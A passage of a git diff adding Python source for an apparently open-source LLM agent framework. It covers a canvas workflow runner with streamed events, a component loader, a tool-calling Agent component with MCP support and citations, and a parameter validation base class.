self.retrieval = [] + self.memory = [] + + for k in self.globals.keys(): + if isinstance(self.globals[k], str): + self.globals[k] = "" + elif isinstance(self.globals[k], int): + self.globals[k] = 0 + elif isinstance(self.globals[k], float): + self.globals[k] = 0 + elif isinstance(self.globals[k], list): + self.globals[k] = [] + elif isinstance(self.globals[k], dict): + self.globals[k] = {} + else: + self.globals[k] = None + + def run(self, **kwargs): + st = time.perf_counter() + self.message_id = get_uuid() + created_at = int(time.time()) + self.add_user_input(kwargs.get("query")) + for k, cpn in self.components.items(): + self.components[k]["obj"].reset(True) + + for k in kwargs.keys(): + if k in ["query", "user_id", "files"] and kwargs[k]: + if k == "files": + self.globals[f"sys.{k}"] = self.get_files(kwargs[k]) + else: + self.globals[f"sys.{k}"] = kwargs[k] + if not self.globals["sys.conversation_turns"] : + self.globals["sys.conversation_turns"] = 0 + self.globals["sys.conversation_turns"] += 1 + + def decorate(event, dt): + nonlocal created_at + return { + "event": event, + #"conversation_id": "f3cc152b-24b0-4258-a1a1-7d5e9fc8a115", + "message_id": self.message_id, + "created_at": created_at, + "task_id": self.task_id, + "data": dt + } + + if not self.path or self.path[-1].lower().find("userfillup") < 0: + self.path.append("begin") + self.retrieval.append({"chunks": [], "doc_aggs": []}) + + yield decorate("workflow_started", {"inputs": kwargs.get("inputs")}) + self.retrieval.append({"chunks": {}, "doc_aggs": {}}) + + def _run_batch(f, t): + with ThreadPoolExecutor(max_workers=5) as executor: + thr = [] + for i in range(f, t): + cpn = self.get_component_obj(self.path[i]) + if cpn.component_name.lower() in ["begin", "userfillup"]: + thr.append(executor.submit(cpn.invoke, inputs=kwargs.get("inputs", {}))) + else: + thr.append(executor.submit(cpn.invoke, **cpn.get_input())) + for t in thr: + t.result() + + def _node_finished(cpn_obj): + return decorate("node_finished",{ + "inputs": cpn_obj.get_input_values(), + "outputs": cpn_obj.output(), + "component_id": cpn_obj._id, + "component_name": self.get_component_name(cpn_obj._id), + "component_type": self.get_component_type(cpn_obj._id), + "error": cpn_obj.error(), + "elapsed_time": time.perf_counter() - cpn_obj.output("_created_time"), + "created_at": cpn_obj.output("_created_time"), + }) + + self.error = "" + idx = len(self.path) - 1 + partials = [] + while idx < len(self.path): + to = len(self.path) + for i in range(idx, to): + yield decorate("node_started", { + "inputs": None, "created_at": int(time.time()), + "component_id": self.path[i], + "component_name": self.get_component_name(self.path[i]), + "component_type": self.get_component_type(self.path[i]), + "thoughts": self.get_component_thoughts(self.path[i]) + }) + _run_batch(idx, to) + + # post processing of components invocation + for i in range(idx, to): + cpn = self.get_component(self.path[i]) + cpn_obj = self.get_component_obj(self.path[i]) + if cpn_obj.component_name.lower() == "message": + if isinstance(cpn_obj.output("content"), partial): + _m = "" + for m in cpn_obj.output("content")(): + if not m: + continue + if m == "": + yield decorate("message", {"content": "", "start_to_think": True}) + elif m == "": + yield decorate("message", {"content": "", "end_to_think": True}) + else: + yield decorate("message", {"content": m}) + _m += m + cpn_obj.set_output("content", _m) + cite = re.search(r"\[ID:[ 0-9]+\]", _m) + else: + yield decorate("message", {"content": cpn_obj.output("content")}) + cite = re.search(r"\[ID:[ 0-9]+\]", cpn_obj.output("content")) + yield decorate("message_end", {"reference": self.get_reference() if cite else None}) + + while partials: + _cpn_obj = self.get_component_obj(partials[0]) + if isinstance(_cpn_obj.output("content"), partial): + break + yield _node_finished(_cpn_obj) + partials.pop(0) + + other_branch = False + if cpn_obj.error(): + ex = cpn_obj.exception_handler() + if ex and ex["goto"]: + self.path.extend(ex["goto"]) + other_branch = True + elif ex and ex["default_value"]: + yield decorate("message", {"content": ex["default_value"]}) + yield decorate("message_end", {}) + else: + self.error = cpn_obj.error() + + if cpn_obj.component_name.lower() != "iteration": + if isinstance(cpn_obj.output("content"), partial): + if self.error: + cpn_obj.set_output("content", None) + yield _node_finished(cpn_obj) + else: + partials.append(self.path[i]) + else: + yield _node_finished(cpn_obj) + + def _append_path(cpn_id): + nonlocal other_branch + if other_branch: + return + if self.path[-1] == cpn_id: + return + self.path.append(cpn_id) + + def _extend_path(cpn_ids): + nonlocal other_branch + if other_branch: + return + for cpn_id in cpn_ids: + _append_path(cpn_id) + + if cpn_obj.component_name.lower() == "iterationitem" and cpn_obj.end(): + iter = cpn_obj.get_parent() + yield _node_finished(iter) + _extend_path(self.get_component(cpn["parent_id"])["downstream"]) + elif cpn_obj.component_name.lower() in ["categorize", "switch"]: + _extend_path(cpn_obj.output("_next")) + elif cpn_obj.component_name.lower() == "iteration": + _append_path(cpn_obj.get_start()) + elif not cpn["downstream"] and cpn_obj.get_parent(): + _append_path(cpn_obj.get_parent().get_start()) + else: + _extend_path(cpn["downstream"]) + + if self.error: + logging.error(f"Runtime Error: {self.error}") + break + idx = to + + if any([self.get_component_obj(c).component_name.lower() == "userfillup" for c in self.path[idx:]]): + path = [c for c in self.path[idx:] if self.get_component(c)["obj"].component_name.lower() == "userfillup"] + path.extend([c for c in self.path[idx:] if self.get_component(c)["obj"].component_name.lower() != "userfillup"]) + another_inputs = {} + tips = "" + for c in path: + o = self.get_component_obj(c) + if o.component_name.lower() == "userfillup": + another_inputs.update(o.get_input_elements()) + if o.get_param("enable_tips"): + tips = o.get_param("tips") + self.path = path + yield decorate("user_inputs", {"inputs": another_inputs, "tips": tips}) + return + + self.path = self.path[:idx] + if not self.error: + yield decorate("workflow_finished", + { + "inputs": kwargs.get("inputs"), + "outputs": self.get_component_obj(self.path[-1]).output(), + "elapsed_time": time.perf_counter() - st, + "created_at": st, + }) + self.history.append(("assistant", self.get_component_obj(self.path[-1]).output())) + + def is_reff(self, exp: str) -> bool: + exp = exp.strip("{").strip("}") + if exp.find("@") < 0: + return exp in self.globals + arr = exp.split("@") + if len(arr) != 2: + return False + if self.get_component(arr[0]) is None: + return False + return True + + def get_history(self, window_size): + convs = [] + if window_size <= 0: + return convs + for role, obj in self.history[window_size * -2:]: + if isinstance(obj, dict): + convs.append({"role": role, "content": obj.get("content", "")}) + else: + convs.append({"role": role, "content": str(obj)}) + return convs + + def add_user_input(self, question): + self.history.append(("user", question)) + + def get_prologue(self): + return self.components["begin"]["obj"]._param.prologue + + def get_mode(self): + return self.components["begin"]["obj"]._param.mode + + def set_global_param(self, **kwargs): + self.globals.update(kwargs) + + def get_preset_param(self): + return self.components["begin"]["obj"]._param.inputs + + def get_component_input_elements(self, cpnnm): + return self.components[cpnnm]["obj"].get_input_elements() + + def get_files(self, files: Union[None, list[dict]]) -> list[str]: + if not files: + return [] + def image_to_base64(file): + return "data:{};base64,{}".format(file["mime_type"], + base64.b64encode(FileService.get_blob(file["created_by"], file["id"])).decode("utf-8")) + exe = ThreadPoolExecutor(max_workers=5) + threads = [] + for file in files: + if file["mime_type"].find("image") >=0: + threads.append(exe.submit(image_to_base64, file)) + continue + threads.append(exe.submit(FileService.parse, file["name"], FileService.get_blob(file["created_by"], file["id"]), True, file["created_by"])) + return [th.result() for th in threads] + + def tool_use_callback(self, agent_id: str, func_name: str, params: dict, result: Any, elapsed_time=None): + agent_ids = agent_id.split("-->") + agent_name = self.get_component_name(agent_ids[0]) + path = agent_name if len(agent_ids) < 2 else agent_name+"-->"+"-->".join(agent_ids[1:]) + try: + bin = REDIS_CONN.get(f"{self.task_id}-{self.message_id}-logs") + if bin: + obj = json.loads(bin.encode("utf-8")) + if obj[-1]["component_id"] == agent_ids[0]: + obj[-1]["trace"].append({"path": path, "tool_name": func_name, "arguments": params, "result": result, "elapsed_time": elapsed_time}) + else: + obj.append({ + "component_id": agent_ids[0], + "trace": [{"path": path, "tool_name": func_name, "arguments": params, "result": result, "elapsed_time": elapsed_time}] + }) + else: + obj = [{ + "component_id": agent_ids[0], + "trace": [{"path": path, "tool_name": func_name, "arguments": params, "result": result, "elapsed_time": elapsed_time}] + }] + REDIS_CONN.set_obj(f"{self.task_id}-{self.message_id}-logs", obj, 60*10) + except Exception as e: + logging.exception(e) + + def add_reference(self, chunks: list[object], doc_infos: list[object]): + if not self.retrieval: + self.retrieval = [{"chunks": {}, "doc_aggs": {}}] + + r = self.retrieval[-1] + for ck in chunks_format({"chunks": chunks}): + cid = hash_str2int(ck["id"], 500) + # cid = uuid.uuid5(uuid.NAMESPACE_DNS, ck["id"]) + if cid not in r: + r["chunks"][cid] = ck + + for doc in doc_infos: + if doc["doc_name"] not in r: + r["doc_aggs"][doc["doc_name"]] = doc + + def get_reference(self): + if not self.retrieval: + return {"chunks": {}, "doc_aggs": {}} + return self.retrieval[-1] + + def add_memory(self, user:str, assist:str, summ: str): + self.memory.append((user, assist, summ)) + + def get_memory(self) -> list[Tuple]: + return self.memory + + def get_component_thoughts(self, cpn_id) -> str: + return self.components.get(cpn_id)["obj"].thoughts() + diff --git a/agent/component/__init__.py b/agent/component/__init__.py new file mode 100644 index 0000000..47a348f --- /dev/null +++ b/agent/component/__init__.py @@ -0,0 +1,58 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import os +import importlib +import inspect +from types import ModuleType +from typing import Dict, Type + +_package_path = os.path.dirname(__file__) +__all_classes: Dict[str, Type] = {} + +def _import_submodules() -> None: + for filename in os.listdir(_package_path): # noqa: F821 + if filename.startswith("__") or not filename.endswith(".py") or filename.startswith("base"): + continue + module_name = filename[:-3] + + try: + module = importlib.import_module(f".{module_name}", package=__name__) + _extract_classes_from_module(module) # noqa: F821 + except ImportError as e: + print(f"Warning: Failed to import module {module_name}: {str(e)}") + +def _extract_classes_from_module(module: ModuleType) -> None: + for name, obj in inspect.getmembers(module): + if (inspect.isclass(obj) and + obj.__module__ == module.__name__ and not name.startswith("_")): + __all_classes[name] = obj + globals()[name] = obj + +_import_submodules() + +__all__ = list(__all_classes.keys()) + ["__all_classes"] + +del _package_path, _import_submodules, _extract_classes_from_module + + +def component_class(class_name): + for mdl in ["agent.component", "agent.tools", "rag.flow"]: + try: + return getattr(importlib.import_module(mdl), class_name) + except Exception: + pass + assert False, f"Can't import {class_name}" diff --git a/agent/component/agent_with_tools.py b/agent/component/agent_with_tools.py new file mode 100644 index 0000000..a85df40 --- /dev/null +++ b/agent/component/agent_with_tools.py @@ -0,0 +1,352 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import re +from concurrent.futures import ThreadPoolExecutor +from copy import deepcopy +from functools import partial +from typing import Any + +import json_repair +from timeit import default_timer as timer +from agent.tools.base import LLMToolPluginCallSession, ToolParamBase, ToolBase, ToolMeta +from api.db.services.llm_service import LLMBundle +from api.db.services.tenant_llm_service import TenantLLMService +from api.db.services.mcp_server_service import MCPServerService +from api.utils.api_utils import timeout +from rag.prompts.generator import next_step, COMPLETE_TASK, analyze_task, \ + citation_prompt, reflect, rank_memories, kb_prompt, citation_plus, full_question, message_fit_in +from rag.utils.mcp_tool_call_conn import MCPToolCallSession, mcp_tool_metadata_to_openai_tool +from agent.component.llm import LLMParam, LLM + + +class AgentParam(LLMParam, ToolParamBase): + """ + Define the Agent component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "agent", + "description": "This is an agent for a specific task.", + "parameters": { + "user_prompt": { + "type": "string", + "description": "This is the order you need to send to the agent.", + "default": "", + "required": True + }, + "reasoning": { + "type": "string", + "description": ( + "Supervisor's reasoning for choosing the this agent. " + "Explain why this agent is being invoked and what is expected of it." + ), + "required": True + }, + "context": { + "type": "string", + "description": ( + "All relevant background information, prior facts, decisions, " + "and state needed by the agent to solve the current query. " + "Should be as detailed and self-contained as possible." + ), + "required": True + }, + } + } + super().__init__() + self.function_name = "agent" + self.tools = [] + self.mcp = [] + self.max_rounds = 5 + self.description = "" + + +class Agent(LLM, ToolBase): + component_name = "Agent" + + def __init__(self, canvas, id, param: LLMParam): + LLM.__init__(self, canvas, id, param) + self.tools = {} + for cpn in self._param.tools: + cpn = self._load_tool_obj(cpn) + self.tools[cpn.get_meta()["function"]["name"]] = cpn + + self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), TenantLLMService.llm_id2llm_type(self._param.llm_id), self._param.llm_id, + max_retries=self._param.max_retries, + retry_interval=self._param.delay_after_error, + max_rounds=self._param.max_rounds, + verbose_tool_use=True + ) + self.tool_meta = [v.get_meta() for _,v in self.tools.items()] + + for mcp in self._param.mcp: + _, mcp_server = MCPServerService.get_by_id(mcp["mcp_id"]) + tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables) + for tnm, meta in mcp["tools"].items(): + self.tool_meta.append(mcp_tool_metadata_to_openai_tool(meta)) + self.tools[tnm] = tool_call_session + self.callback = partial(self._canvas.tool_use_callback, id) + self.toolcall_session = LLMToolPluginCallSession(self.tools, self.callback) + #self.chat_mdl.bind_tools(self.toolcall_session, self.tool_metas) + + def _load_tool_obj(self, cpn: dict) -> object: + from agent.component import component_class + param = component_class(cpn["component_name"] + "Param")() + param.update(cpn["params"]) + try: + param.check() + except Exception as e: + self.set_output("_ERROR", cpn["component_name"] + f" configuration error: {e}") + raise + cpn_id = f"{self._id}-->" + cpn.get("name", "").replace(" ", "_") + return component_class(cpn["component_name"])(self._canvas, cpn_id, param) + + def get_meta(self) -> dict[str, Any]: + self._param.function_name= self._id.split("-->")[-1] + m = super().get_meta() + if hasattr(self._param, "user_prompt") and self._param.user_prompt: + m["function"]["parameters"]["properties"]["user_prompt"] = self._param.user_prompt + return m + + def get_input_form(self) -> dict[str, dict]: + res = {} + for k, v in self.get_input_elements().items(): + res[k] = { + "type": "line", + "name": v["name"] + } + for cpn in self._param.tools: + if not isinstance(cpn, LLM): + continue + res.update(cpn.get_input_form()) + return res + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 20*60))) + def _invoke(self, **kwargs): + if kwargs.get("user_prompt"): + usr_pmt = "" + if kwargs.get("reasoning"): + usr_pmt += "\nREASONING:\n{}\n".format(kwargs["reasoning"]) + if kwargs.get("context"): + usr_pmt += "\nCONTEXT:\n{}\n".format(kwargs["context"]) + if usr_pmt: + usr_pmt += "\nQUERY:\n{}\n".format(str(kwargs["user_prompt"])) + else: + usr_pmt = str(kwargs["user_prompt"]) + self._param.prompts = [{"role": "user", "content": usr_pmt}] + + if not self.tools: + return LLM._invoke(self, **kwargs) + + prompt, msg, user_defined_prompt = self._prepare_prompt_variables() + + downstreams = self._canvas.get_component(self._id)["downstream"] if self._canvas.get_component(self._id) else [] + ex = self.exception_handler() + if any([self._canvas.get_component_obj(cid).component_name.lower()=="message" for cid in downstreams]) and not self._param.output_structure and not (ex and ex["goto"]): + self.set_output("content", partial(self.stream_output_with_tools, prompt, msg, user_defined_prompt)) + return + + _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97)) + use_tools = [] + ans = "" + for delta_ans, tk in self._react_with_tools_streamly(prompt, msg, use_tools, user_defined_prompt): + ans += delta_ans + + if ans.find("**ERROR**") >= 0: + logging.error(f"Agent._chat got error. response: {ans}") + if self.get_exception_default_value(): + self.set_output("content", self.get_exception_default_value()) + else: + self.set_output("_ERROR", ans) + return + + self.set_output("content", ans) + if use_tools: + self.set_output("use_tools", use_tools) + return ans + + def stream_output_with_tools(self, prompt, msg, user_defined_prompt={}): + _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97)) + answer_without_toolcall = "" + use_tools = [] + for delta_ans,_ in self._react_with_tools_streamly(prompt, msg, use_tools, user_defined_prompt): + if delta_ans.find("**ERROR**") >= 0: + if self.get_exception_default_value(): + self.set_output("content", self.get_exception_default_value()) + yield self.get_exception_default_value() + else: + self.set_output("_ERROR", delta_ans) + answer_without_toolcall += delta_ans + yield delta_ans + + self.set_output("content", answer_without_toolcall) + if use_tools: + self.set_output("use_tools", use_tools) + + def _gen_citations(self, text): + retrievals = self._canvas.get_reference() + retrievals = {"chunks": list(retrievals["chunks"].values()), "doc_aggs": list(retrievals["doc_aggs"].values())} + formated_refer = kb_prompt(retrievals, self.chat_mdl.max_length, True) + for delta_ans in self._generate_streamly([{"role": "system", "content": citation_plus("\n\n".join(formated_refer))}, + {"role": "user", "content": text} + ]): + yield delta_ans + + def _react_with_tools_streamly(self, prompt, history: list[dict], use_tools, user_defined_prompt={}): + token_count = 0 + tool_metas = self.tool_meta + hist = deepcopy(history) + last_calling = "" + if len(hist) > 3: + st = timer() + user_request = full_question(messages=history, chat_mdl=self.chat_mdl) + self.callback("Multi-turn conversation optimization", {}, user_request, elapsed_time=timer()-st) + else: + user_request = history[-1]["content"] + + def use_tool(name, args): + nonlocal hist, use_tools, token_count,last_calling,user_request + logging.info(f"{last_calling=} == {name=}") + # Summarize of function calling + #if all([ + # isinstance(self.toolcall_session.get_tool_obj(name), Agent), + # last_calling, + # last_calling != name + #]): + # self.toolcall_session.get_tool_obj(name).add2system_prompt(f"The chat history with other agents are as following: \n" + self.get_useful_memory(user_request, str(args["user_prompt"]),user_defined_prompt)) + last_calling = name + tool_response = self.toolcall_session.tool_call(name, args) + use_tools.append({ + "name": name, + "arguments": args, + "results": tool_response + }) + # self.callback("add_memory", {}, "...") + #self.add_memory(hist[-2]["content"], hist[-1]["content"], name, args, str(tool_response), user_defined_prompt) + + return name, tool_response + + def complete(): + nonlocal hist + need2cite = self._param.cite and self._canvas.get_reference()["chunks"] and self._id.find("-->") < 0 + cited = False + if hist[0]["role"] == "system" and need2cite: + if len(hist) < 7: + hist[0]["content"] += citation_prompt() + cited = True + yield "", token_count + + _hist = hist + if len(hist) > 12: + _hist = [hist[0], hist[1], *hist[-10:]] + entire_txt = "" + for delta_ans in self._generate_streamly(_hist): + if not need2cite or cited: + yield delta_ans, 0 + entire_txt += delta_ans + if not need2cite or cited: + return + + st = timer() + txt = "" + for delta_ans in self._gen_citations(entire_txt): + yield delta_ans, 0 + txt += delta_ans + + self.callback("gen_citations", {}, txt, elapsed_time=timer()-st) + + def append_user_content(hist, content): + if hist[-1]["role"] == "user": + hist[-1]["content"] += content + else: + hist.append({"role": "user", "content": content}) + + st = timer() + task_desc = analyze_task(self.chat_mdl, prompt, user_request, tool_metas, user_defined_prompt) + self.callback("analyze_task", {}, task_desc, elapsed_time=timer()-st) + for _ in range(self._param.max_rounds + 1): + response, tk = next_step(self.chat_mdl, hist, tool_metas, task_desc, user_defined_prompt) + # self.callback("next_step", {}, str(response)[:256]+"...") + token_count += tk + hist.append({"role": "assistant", "content": response}) + try: + functions = json_repair.loads(re.sub(r"```.*", "", response)) + if not isinstance(functions, list): + raise TypeError(f"List should be returned, but `{functions}`") + for f in functions: + if not isinstance(f, dict): + raise TypeError(f"An object type should be returned, but `{f}`") + with ThreadPoolExecutor(max_workers=5) as executor: + thr = [] + for func in functions: + name = func["name"] + args = func["arguments"] + if name == COMPLETE_TASK: + append_user_content(hist, f"Respond with a formal answer. FORGET(DO NOT mention) about `{COMPLETE_TASK}`. The language for the response MUST be as the same as the first user request.\n") + for txt, tkcnt in complete(): + yield txt, tkcnt + return + + thr.append(executor.submit(use_tool, name, args)) + + st = timer() + reflection = reflect(self.chat_mdl, hist, [th.result() for th in thr], user_defined_prompt) + append_user_content(hist, reflection) + self.callback("reflection", {}, str(reflection), elapsed_time=timer()-st) + + except Exception as e: + logging.exception(msg=f"Wrong JSON argument format in LLM ReAct response: {e}") + e = f"\nTool call error, please correct the input parameter of response format and call it again.\n *** Exception ***\n{e}" + append_user_content(hist, str(e)) + + logging.warning( f"Exceed max rounds: {self._param.max_rounds}") + final_instruction = f""" +{user_request} +IMPORTANT: You have reached the conversation limit. Based on ALL the information and research you have gathered so far, please provide a DIRECT and COMPREHENSIVE final answer to the original request. +Instructions: +1. SYNTHESIZE all information collected during this conversation +2. Provide a COMPLETE response using existing data - do not suggest additional research +3. Structure your response as a FINAL DELIVERABLE, not a plan +4. If information is incomplete, state what you found and provide the best analysis possible with available data +5. DO NOT mention conversation limits or suggest further steps +6. Focus on delivering VALUE with the information already gathered +Respond immediately with your final comprehensive answer. + """ + append_user_content(hist, final_instruction) + + for txt, tkcnt in complete(): + yield txt, tkcnt + + def get_useful_memory(self, goal: str, sub_goal:str, topn=3, user_defined_prompt:dict={}) -> str: + # self.callback("get_useful_memory", {"topn": 3}, "...") + mems = self._canvas.get_memory() + rank = rank_memories(self.chat_mdl, goal, sub_goal, [summ for (user, assist, summ) in mems], user_defined_prompt) + try: + rank = json_repair.loads(re.sub(r"```.*", "", rank))[:topn] + mems = [mems[r] for r in rank] + return "\n\n".join([f"User: {u}\nAgent: {a}" for u, a,_ in mems]) + except Exception as e: + logging.exception(e) + + return "Error occurred." + + def reset(self): + for k, cpn in self.tools.items(): + cpn.reset() + diff --git a/agent/component/base.py b/agent/component/base.py new file mode 100644 index 0000000..73f11ba --- /dev/null +++ b/agent/component/base.py @@ -0,0 +1,564 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import re +import time +from abc import ABC +import builtins +import json +import os +import logging +from typing import Any, List, Union +import pandas as pd +import trio +from agent import settings +from api.utils.api_utils import timeout + + +_FEEDED_DEPRECATED_PARAMS = "_feeded_deprecated_params" +_DEPRECATED_PARAMS = "_deprecated_params" +_USER_FEEDED_PARAMS = "_user_feeded_params" +_IS_RAW_CONF = "_is_raw_conf" + + +class ComponentParamBase(ABC): + def __init__(self): + self.message_history_window_size = 13 + self.inputs = {} + self.outputs = {} + self.description = "" + self.max_retries = 0 + self.delay_after_error = 2.0 + self.exception_method = None + self.exception_default_value = None + self.exception_goto = None + self.debug_inputs = {} + + def set_name(self, name: str): + self._name = name + return self + + def check(self): + raise NotImplementedError("Parameter Object should be checked.") + + @classmethod + def _get_or_init_deprecated_params_set(cls): + if not hasattr(cls, _DEPRECATED_PARAMS): + setattr(cls, _DEPRECATED_PARAMS, set()) + return getattr(cls, _DEPRECATED_PARAMS) + + def _get_or_init_feeded_deprecated_params_set(self, conf=None): + if not hasattr(self, _FEEDED_DEPRECATED_PARAMS): + if conf is None: + setattr(self, _FEEDED_DEPRECATED_PARAMS, set()) + else: + setattr( + self, + _FEEDED_DEPRECATED_PARAMS, + set(conf[_FEEDED_DEPRECATED_PARAMS]), + ) + return getattr(self, _FEEDED_DEPRECATED_PARAMS) + + def _get_or_init_user_feeded_params_set(self, conf=None): + if not hasattr(self, _USER_FEEDED_PARAMS): + if conf is None: + setattr(self, _USER_FEEDED_PARAMS, set()) + else: + setattr(self, _USER_FEEDED_PARAMS, set(conf[_USER_FEEDED_PARAMS])) + return getattr(self, _USER_FEEDED_PARAMS) + + def get_user_feeded(self): + return self._get_or_init_user_feeded_params_set() + + def get_feeded_deprecated_params(self): + return self._get_or_init_feeded_deprecated_params_set() + + @property + def _deprecated_params_set(self): + return {name: True for name in self.get_feeded_deprecated_params()} + + def __str__(self): + return json.dumps(self.as_dict(), ensure_ascii=False) + + def as_dict(self): + def _recursive_convert_obj_to_dict(obj): + ret_dict = {} + if isinstance(obj, dict): + for k,v in obj.items(): + if isinstance(v, dict) or (v and type(v).__name__ not in dir(builtins)): + ret_dict[k] = _recursive_convert_obj_to_dict(v) + else: + ret_dict[k] = v + return ret_dict + + for attr_name in list(obj.__dict__): + if attr_name in [_FEEDED_DEPRECATED_PARAMS, _DEPRECATED_PARAMS, _USER_FEEDED_PARAMS, _IS_RAW_CONF]: + continue + # get attr + attr = getattr(obj, attr_name) + if isinstance(attr, pd.DataFrame): + ret_dict[attr_name] = attr.to_dict() + continue + if isinstance(attr, dict) or (attr and type(attr).__name__ not in dir(builtins)): + ret_dict[attr_name] = _recursive_convert_obj_to_dict(attr) + else: + ret_dict[attr_name] = attr + + return ret_dict + + return _recursive_convert_obj_to_dict(self) + + def update(self, conf, allow_redundant=False): + update_from_raw_conf = conf.get(_IS_RAW_CONF, True) + if update_from_raw_conf: + deprecated_params_set = self._get_or_init_deprecated_params_set() + feeded_deprecated_params_set = ( + self._get_or_init_feeded_deprecated_params_set() + ) + user_feeded_params_set = self._get_or_init_user_feeded_params_set() + setattr(self, _IS_RAW_CONF, False) + else: + feeded_deprecated_params_set = ( + self._get_or_init_feeded_deprecated_params_set(conf) + ) + user_feeded_params_set = self._get_or_init_user_feeded_params_set(conf) + + def _recursive_update_param(param, config, depth, prefix): + if depth > settings.PARAM_MAXDEPTH: + raise ValueError("Param define nesting too deep!!!, can not parse it") + + inst_variables = param.__dict__ + redundant_attrs = [] + for config_key, config_value in config.items(): + # redundant attr + if config_key not in inst_variables: + if not update_from_raw_conf and config_key.startswith("_"): + setattr(param, config_key, config_value) + else: + setattr(param, config_key, config_value) + # redundant_attrs.append(config_key) + continue + + full_config_key = f"{prefix}{config_key}" + + if update_from_raw_conf: + # add user feeded params + user_feeded_params_set.add(full_config_key) + + # update user feeded deprecated param set + if full_config_key in deprecated_params_set: + feeded_deprecated_params_set.add(full_config_key) + + # supported attr + attr = getattr(param, config_key) + if type(attr).__name__ in dir(builtins) or attr is None: + setattr(param, config_key, config_value) + + else: + # recursive set obj attr + sub_params = _recursive_update_param( + attr, config_value, depth + 1, prefix=f"{prefix}{config_key}." + ) + setattr(param, config_key, sub_params) + + if not allow_redundant and redundant_attrs: + raise ValueError( + f"cpn `{getattr(self, '_name', type(self))}` has redundant parameters: `{[redundant_attrs]}`" + ) + + return param + + return _recursive_update_param(param=self, config=conf, depth=0, prefix="") + + def extract_not_builtin(self): + def _get_not_builtin_types(obj): + ret_dict = {} + for variable in obj.__dict__: + attr = getattr(obj, variable) + if attr and type(attr).__name__ not in dir(builtins): + ret_dict[variable] = _get_not_builtin_types(attr) + + return ret_dict + + return _get_not_builtin_types(self) + + def validate(self): + self.builtin_types = dir(builtins) + self.func = { + "ge": self._greater_equal_than, + "le": self._less_equal_than, + "in": self._in, + "not_in": self._not_in, + "range": self._range, + } + home_dir = os.path.abspath(os.path.dirname(os.path.realpath(__file__))) + param_validation_path_prefix = home_dir + "/param_validation/" + + param_name = type(self).__name__ + param_validation_path = "/".join( + [param_validation_path_prefix, param_name + ".json"] + ) + + validation_json = None + + try: + with open(param_validation_path, "r") as fin: + validation_json = json.loads(fin.read()) + except BaseException: + return + + self._validate_param(self, validation_json) + + def _validate_param(self, param_obj, validation_json): + default_section = type(param_obj).__name__ + var_list = param_obj.__dict__ + + for variable in var_list: + attr = getattr(param_obj, variable) + + if type(attr).__name__ in self.builtin_types or attr is None: + if variable not in validation_json: + continue + + validation_dict = validation_json[default_section][variable] + value = getattr(param_obj, variable) + value_legal = False + + for op_type in validation_dict: + if self.func[op_type](value, validation_dict[op_type]): + value_legal = True + break + + if not value_legal: + raise ValueError( + "Please check runtime conf, {} = {} does not match user-parameter restriction".format( + variable, value + ) + ) + + elif variable in validation_json: + self._validate_param(attr, validation_json) + + @staticmethod + def check_string(param, descr): + if type(param).__name__ not in ["str"]: + raise ValueError( + descr + " {} not supported, should be string type".format(param) + ) + + @staticmethod + def check_empty(param, descr): + if not param: + raise ValueError( + descr + " does not support empty value." + ) + + @staticmethod + def check_positive_integer(param, descr): + if type(param).__name__ not in ["int", "long"] or param <= 0: + raise ValueError( + descr + " {} not supported, should be positive integer".format(param) + ) + + @staticmethod + def check_positive_number(param, descr): + if type(param).__name__ not in ["float", "int", "long"] or param <= 0: + raise ValueError( + descr + " {} not supported, should be positive numeric".format(param) + ) + + @staticmethod + def check_nonnegative_number(param, descr): + if type(param).__name__ not in ["float", "int", "long"] or param < 0: + raise ValueError( + descr + + " {} not supported, should be non-negative numeric".format(param) + ) + + @staticmethod + def check_decimal_float(param, descr): + if type(param).__name__ not in ["float", "int"] or param < 0 or param > 1: + raise ValueError( + descr + + " {} not supported, should be a float number in range [0, 1]".format( + param + ) + ) + + @staticmethod + def check_boolean(param, descr): + if type(param).__name__ != "bool": + raise ValueError( + descr + " {} not supported, should be bool type".format(param) + ) + + @staticmethod + def check_open_unit_interval(param, descr): + if type(param).__name__ not in ["float"] or param <= 0 or param >= 1: + raise ValueError( + descr + " should be a numeric number between 0 and 1 exclusively" + ) + + @staticmethod + def check_valid_value(param, descr, valid_values): + if param not in valid_values: + raise ValueError( + descr + + " {} is not supported, it should be in {}".format(param, valid_values) + ) + + @staticmethod + def check_defined_type(param, descr, types): + if type(param).__name__ not in types: + raise ValueError( + descr + " {} not supported, should be one of {}".format(param, types) + ) + + @staticmethod + def check_and_change_lower(param, valid_list, descr=""): + if type(param).__name__ != "str": + raise ValueError( + descr + + " {} not supported, should be one of {}".format(param, valid_list) + ) + + lower_param = param.lower() + if lower_param in valid_list: + return lower_param + else: + raise ValueError( + descr + + " {} not supported, should be one of {}".format(param, valid_list) + ) + + @staticmethod + def _greater_equal_than(value, limit): + return value >= limit - settings.FLOAT_ZERO + + 